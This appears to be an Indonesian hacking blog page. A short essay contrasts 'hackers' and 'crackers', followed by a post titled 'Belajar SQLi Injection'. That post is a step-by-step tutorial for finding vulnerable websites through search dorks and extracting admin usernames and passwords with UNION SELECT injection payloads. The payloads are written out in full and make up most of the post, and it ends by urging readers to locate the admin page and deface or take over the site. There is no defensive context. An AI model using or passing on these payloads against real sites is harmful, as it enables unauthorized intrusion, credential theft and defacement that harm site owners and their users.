Dalam tulisan How to Become a Hacker, Eric Steven Raymon mengatakan bahwa menjadi hacker tidaklah segampang yang dikira. Langkah awal untuk menjadi seorang hacker haruslah menguasai minimal 5 bahasa pemrograman yang ada. Ia menyebut bahasa pemrograman C/C++, Java, Perl, Phyton & LISP. Selain itu mampu berinteraksi dengan program HTML untuk dapat membangun komunikasi dengan jaringan internet. Semua dasar diatas adalah ilmu yang “wajib” dimiliki jika kita memang berminat untuk menjadi seorang hacker sejati. Karena pada dasarnya menjadi Hacker adalah penguasaan terhadap membaca dan menulis kode.
Kenapa kode? Karena memang komputer yang kita jalankan setiap hari pada intinya adalah terdiri dari berbagai kode instruksi yang cukup rumit.
Selain penguasaan terhadap bahasa pemrograman diatas, kita pun harus punya bekal yang cukup dalam berbahasa inggris untuk dapat saling bertukar pikiran dengan komunitas hacker dari seluruh dunia. Ini tidak dilarang karena pada umumnya, mereka (anggota komunitas tersebut) memiliki kode etik tersendiri tentang open-source atau kode-kode program yang boleh dibuka dan diutak atik oleh orang lain. Contoh, kode-kode Linux yang marak di perkenalkan baru-baru ini memiliki konsep open source dan karenanya bisa dimiliki oleh khalayak ramai dengan sebutan free software.
Kembali pada persoalan diatas, menjadi seorang hacker untuk tujuan saling berbagi ilmu dalam teknologi informasi ini, atau dalam arti yang lebih luas untuk memudahkan pemakai komputer pada masa yang akan datang, bukanlah hal harus ditakuti. Sebaliknya, ilmu tersebut harus diterjemahkan dan sama-sama digali sehingga menjadi bagian terintegral dalam memahami lika-liku dunia cyber. Asal saja kita tidak terjebak pada prilaku yang negatif sehingga menjadi seorang cracker yang membobol sitem rahasia orang lain.
PERBEDAAN HACKER DAN CRACKER
a) HACKER
  1. Mempunyai kemampuan menganalisa kelemahan suatu sistem atau situs. Sebagai contoh : jika seorang hacker mencoba menguji situs Yahoo! dipastikan isi situs tersebut tak akan berantakan dan mengganggu yang lain. Biasanya hacker melaporkan kejadian ini untuk diperbaiki menjadi sempurna.
  2. Hacker mempunyai etika serta kreatif dalam merancang suatu program yang berguna bagi siapa saja.
  3. Seorang Hacker tidak pelit membagi ilmunya kepada orang-orang yang serius atas nama ilmu pengetahuan dan kebaikan.
b) CRACKER
  1. Mampu membuat suatu program bagi kepentingan dirinya sendiri dan bersifat destruktif atau merusak dan menjadikannya suatu keuntungan. Sebagian contoh : Virus, Pencurian Kartu Kredit, Kode Warez, Pembobolan Rekening Bank, Pencurian Password E-mail/Web Server.
  2. Kasus yang paling sering ialah Carding yaitu Pencurian Kartu Kredit, kemudian pembobolan situs dan mengubah segala isinya menjadi berantakan. Sebagai contoh : Yahoo! pernah mengalami kejadian seperti ini sehingga tidak bisa diakses dalam waktu yang lama, kasus clickBCA.com yang paling hangat dibicarakan tahun 2001 lalu.
Jadi, jelas yang sebenarnya orang jahat itu adalah cracker bukan hacker seperti kebanyakan pendapat orang.
Di sisi ini menarik untuk di simak, satu sisi, kita butuh teknologi canggih yang kerap bermunculan dalam hitungan detik, sisi lain ada kekhawatiran takut terjebak pada pola “nyeleneh” yang berakibat patal. Namun demikian, sebagai satu sikap, kita berpijak pada satu kesepakatan, bahwa mempelajari bahasa-bahasa yang ditawarkan oleh Eric Steven Raymon diatas, adalah hal yang baik. Karena dengan mempelajarinya, kita minimal dapat mendapat solusi untuk membuat program yang berguna bagi orang lain. Dan jika ini dilakukan, percayalah, anda adalah seorang hacker.
ReadMore »»

Belajar SQLi Injection

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Untuk Tutorialnya, Mari kita bahas..

1. Cari Situs yang Vuln cari di Google/Bingo, atau di SQLi Scanner Online.

2. Pilih Dorknya
DORK DISINI   (klik kanan - Open New Link Tab)



3. Untuk yang manual (Google/Bingo) cek situs nya dengan cara :
Contoh : http://target.com/detail.php?id=1' <<< <- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 (Cek dengan cara menambahkan tanda petik ' di belakang angka id nya) jika muncul tulisan error berarti Situsnya Vuln, kalo tidak muncul berarti situsnya tidak Vuln atau sudah di Patch

Yang menggunakan SQLi Scanner Online sudah disediakan Situs yang Vulnnya..

4. Lalu kita coba tambahkan order by 1-- sampai titik menuju error

Contoh:
http://target.com/detail.php?id=1 order by 1-- Tidak Error
http://target.com/detail.php?id=1 order by 2-- Tidak Error
http://target.com/detail.php?id=1 order by 3-- Tidak Error
http://target.com/detail.php?id=1 order by 4-- Tidak Error
http://target.com/detail.php?id=1 order by 5-- Error 

5. Nah, yang kita ambil bagian 4nya aja (yang error tidak usah)
hapus order by 5--, lalu ubah dengan:

http://target.com/detail.php?id=-1 union all select 1,2,3,4--
*Disamping angka id ditambahkan (-) lalu setelah angka id tambahkan union all select 1,2,3,4-- <<< dimana pada order by sebelum terjadi error

6. Pasti akan keluar angka, misalkan yang keluar angka 3 yaaa kita coba cek versionnya dengan cara hapus angka 3 ubah dengan @@version

Contoh:
http://target.com/detail.php?id=-1 union all select 1,2,@@version,4-- 

 7. Jika keluar versi 5.0.1 comunity log atau ada angka 5nya berarti lanjutkan, jika yang keluar versi 4 tinggalkan cari yang lain !!!..

8. Sekarang coba ganti @@version menjadi group_concat(table_name) dan setelah union all select 1,2,3,4 tambahkan from information_schema.tables where table name_schema=database()--

Contoh:
http://target.com/detail.php?id=-1 union all select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()--



9. Pasti akan keluar beberapa table yang mungkin berisi table User, Admin, Member, dan lain lain.
Contoh kita ambil table Admin dan kita hex textnya :
- Buka Text Hex
- Dibagian String masukkan text yang ingin di Hex
- Lalu klik Convert
- Copy hasil Hex

Jika sudah maka bagian group_concat(table_name) dan from information_schema.tables where table_schema=database()--

diubah menjadi:
- table_name = column_name = group_concat(column_name)
- tables = columns = from information_schema.columns
- table_schema=database()-- = table_name=0x(tambahkan/paste kata yang di hex tadi) = table_name=0x41646d696e--

Contoh:
http://target.com/detail.php?id=-1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x41646d696e-- 


10. Setelah itu akan keluar beberapa column tentang username, email, password, noid, dan lain lain.
Dibagian (column_name) diubah dengan (username,0x3a,password)
Seperti ini : group_concat(username,0x3a,password)
Lalu hapus information_schema.columns where table_name=0x41646d696e-- ubah menjadi nama Column yang di Hex tadi yaitu Admin

Contoh:
http://target.com/detail.php?id=-1 union all select 1,2,group_concat(username,0x3a,password),4 from Admin--

   
11. Akan keluar Username dan Password Admin

12. Sekarang cari Page Adminnya

13. Saatnya berkaryaa.. 

Nah itu Teorinya... kalo Prakteknya bisa liat di Video dari Youtube ini.. 



http://www.secure.x-doc.co.cc/2011/07/tutorial-sqli-step-by-step-video.html 


untuk lebih jelasnya .. silahkan Download video tutorialnya DISINI
ReadMore »»

Site Meter

Label

Iklan

Blogger Themes


BLOG BERGETAR SAAT DI KLIK KANAN

NEW Flags Country

free counters
Home RC Home RC Home RC| Home RC| ™Ramnit-CLCZ BLoG™: Desember 2011